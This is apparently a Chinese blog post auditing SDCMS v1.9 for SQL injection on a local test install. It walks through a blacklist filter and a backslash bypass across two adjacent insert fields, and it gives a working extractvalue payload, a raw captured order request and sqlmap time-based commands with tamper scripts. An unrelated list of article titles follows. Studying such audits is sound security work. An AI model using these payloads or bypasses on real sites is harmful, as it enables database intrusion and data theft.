1.漏洞注入点分析(黑名单 )
2.注入payload构造(双参数构造,sqlmap绕过)

注册账号后发现网站有在线留言功能,可以查看能否注入

但是没有两个连在一起的可控参数,无法利用成功

继续往下查看

查看F函数

#F函数(get和post)
function F($a,$b='')
{$a=strtolower($a);if(!strpos($a,'.')){$method='other';}else{list($method,$a)=explode('.',$a,2);}switch ($method){case 'get':$input=$_GET;break;case 'post':$input=$_POST;break;case 'other':switch (REQUEST_METHOD){case 'GET':$input=$_GET;break;case 'POST':$input=$_POST;break;default:return '';break;}break;default:return '';break;}$data=isset($input[$a])?$input[$a]:$b;if(is_string($data)){$data=enhtml(trim($data));//过滤数据}return $data;
}

分析发现最后传递给了data变量
enhtml函数内容

*stripslashes函数去除加的*

查看黑名单函数

复制出来然后看哪些字符可以绕过

function filterExp($a)
{return (preg_match('/^select|insert|create|update|delete|alter|sleep|payload|assert|\'|\\|\.\.\/|\.\/|load_file|outfile/i',$a))?'':$a;
}

此处的\过滤对\过滤失效,在php中应该使用\\来过滤\。
我们可以考虑使用\进行sql注入

\\->转义后成为了一个\
\\\\->转义后成为了两个\\,   \\反斜杠才是字符意义上的\,其中一个是用来转义的\

update,seleep函数被过滤,可以考虑extractvalue()报错函数,和benchmark()时间盲注函数

双参数插入绕过单引号注入

条件:两个参数必须连接在一起

'abc','127.0.0.1'
第一个参数加\     第二个参数payload
'abc\'    'payload'
\'将原来用于闭合的'转义为字符串单引号。'abc和payload前的'闭合。最后执行payload

续寻找有两个连在一起的可控参数
查看路由,进入order函数页面
但是sdcms.php是加密的,无法查看。可以通过浏览器浏览页面来猜测路由

写入测试代码测试是否为此模块
页面无显示

查看order方法位于哪个控制器

然后在order方法中写入测试代码

根据以上猜测构造url

http://127.0.0.1/sdcmsv1.9/?c=index&a=cate&classid=1
http://127.0.0.1/sdcmsv1.9/?c=other&a=order

查看order函数猜测可能是一个下单的处理函数,因此登录后台添加一个产品再做尝试

明天继续

然后用户登录页面点击订购抓包

burp进行sql注入尝试

构造payload
查看insert语句插入了多少字段

address=a&remark=a
需要注入的两个点插入语句是INSERRT INTO sd_order(pro_name,pri_num,pro_price,orderid,truename,mobile,address,remark,ispay,isover,createdate,postip,userid) VALUES(1,2,3,4,5,6,payload1,payload2,9,10,11,12,13)INSERT INTO sd_order(adress,remark) VALUES ('','')payload1为      1\
payload2为       , 1 and extractvalue(1,concat(0x7e,(select user()), 0x7e)),1,1,1,1,1)#

使用Burp进行sql报错尝试。

sqlmap进行注入


11.txt内容

POST /sdcmsv1.9/?c=other&a=order&id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 61
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/sdcmsv1.9/?c=index&a=show&id=1
Cookie: PHPSESSID=1gj026jd6r1p2sll0uecm4hmu5truename=a&mobile=15012345678&pronum=1&address=a\&remark=,1 *,1,1,1,1,1)#

使用sqlmap

1.
python sqlmap.py -r 11.txt --dbms=mysql --technique=T -v 3
#--technique是指定注入的技术——时间盲注      -v3 显示详细信息

2.
python sqlmap.py -r 11.txt --dbms=mysql --technique=T --test-filter=benchmark --tamper=between,greatest  -v 3 --batch
#--test-filter=benchmark自定义payload里边的检测函数,由于sleep被过滤,用benchmark
#tamper脚本between替换>,绕过htmlspecil函数
#greatest脚本大于号替换为greatest

总结

  1. 此sql注入第一次在burp报错注入的时候,查看报错日志后发现虽然sql注入成功,但是错误信息会被cms系统统一显示,无法利用报错注入。
  2. 利用sqlmap的tamper,和替换sleep函数,可以进行时间盲注。

sdcms代码审计之sql注入相关推荐

  1. 代码审计之SQL注入:BlueCMSv1.6 sp1

    这是一篇纪录关于BlueCMSv1.6 sp1两个SQL注入的审计过程,原文来自代码审计之SQL注入:BlueCMSv1.6 sp1 ,主要纪录一下个人在参考博文复现这两个漏洞经过. href=&qu ...

  2. 网络安全-实战篇 ZZZPHP1.61 代码审计-从SQL注入到Getshell

    近期有很多小伙伴在后台留言想看关于代码审计的文章,其实有关审计的文章网上资源是比较多的,但是从代码审计开始到结束的这类文章却少之甚少. 今天要讲解的ZZZPHP1.61这套审计漏洞比较多,SQL注入漏 ...

  3. JAVA代码审计之WebGoat靶场SQL注入

    文章目录 前言 WebGoat IDEA部署靶场 No.1 回显注入 No.2 布尔盲注 No.3 Order by 代审技巧 SQL注入挖掘 SQL注入防御 Fortify体验 总结 前言 为了从自 ...

  4. Linux下sql_labs第七关,SQL注入之Sqli-labs系列第二十七关(过滤空格、注释符、union select)和第二十七A...

    开始挑战第二十七关(Trick with SELECT & UNION) 第二十七A关(Trick with SELECT & UNION) 0x1看看源代码 (1)与26关一样,这次 ...

  5. 【网络安全】php代码审计-sql注入进阶篇

    前言 经过上一篇文章我们已经大概的了解sql注入去怎样审计了.但是在实际的网站中和用户的输入输出接口不可能想那样没有防御措施的.现在各大网站都在使用waf对网站或者APP的业务流量进行恶意特征识别及防 ...

  6. [网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.这篇文章主要介绍5月9日参加津门杯CTF题目知识,包括power_cut.hate_ ...

  7. 常见的Java审计代码函数关键字_转载:Java代码审计汇总系列(一)——SQL注入

    原文链接:https://cloud.tencent.com/developer/article/1534109 一.代码审计 相比黑盒渗透的漏洞挖掘方式,代码审计具有更高的可靠性和针对性,更多的是依 ...

  8. 代码审计中的SQL注入

    0x00 背景 SQL注入是一种常见Web漏洞,所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.本文以代码审计的形式研 ...

  9. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 6.全局防护盲点的总结上篇

    [PHP代码审计] 那些年我们一起挖掘SQL注入 - 6.全局防护盲点的总结上篇 0x01 背景 现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等 ...

最新文章

  1. OpenSSL中对称加密算法DES常用函数使用举例
  2. Storm-源码分析-Stats (backtype.storm.stats)
  3. 为nginx反向代理设置自定义错误页面
  4. hibernate中的一级缓存
  5. 【nacos系列】nacos配置中心管理实战
  6. 奇怪,有的Python函数或方法调用需要两对括号?
  7. 妙用Python内置函数int()快速计算等比数列前n项和
  8. Excel中找出两列中相同的值
  9. plt.imshow显示CT/MRI图像
  10. HTML中的select只读
  11. Linux基金会呼吁厂商放弃微软FAT文件系统
  12. 计算机办公软件应用操作,基于计算机Word办公软件的使用及操作流程
  13. jsessionid和jwt_jsessionid
  14. java 雪崩效应,Hystrix 解决服务雪崩效应
  15. 华三模拟器HCL文件打开/导入失败解决方法
  16. Cloud Foundry 运行bosh create-env时报错: TLS handshake timeout
  17. 孩子近视了房间里用什么灯?保护视力的护眼灯
  18. php每日答题,持续更新!每日答题汇总
  19. 微信小程序input数据的双向绑定
  20. 2020年终总结-2021新年Flag

热门文章

  1. 2021中国宏观经济形势分析与预测年中报告
  2. Notepad++输入模式之修改模和插入模式的切换
  3. 海康威视WEB3.0控件开发包提供的demo 调试
  4. android开发必备-Android学习网站
  5. 怎么在matlab 中制表符,matlab中用fprintf怎么写入空格 、制表符,回车换行等符号?...
  6. Git小技巧:如何从其他分支merge个别文件
  7. war3 1.27完成
  8. -36 自定义指令_函数式
  9. 战五渣系列之五(3分钟正则)
  10. 为什么谐振时电抗为0_串联谐振试验装置不同种类电抗器参数有何不同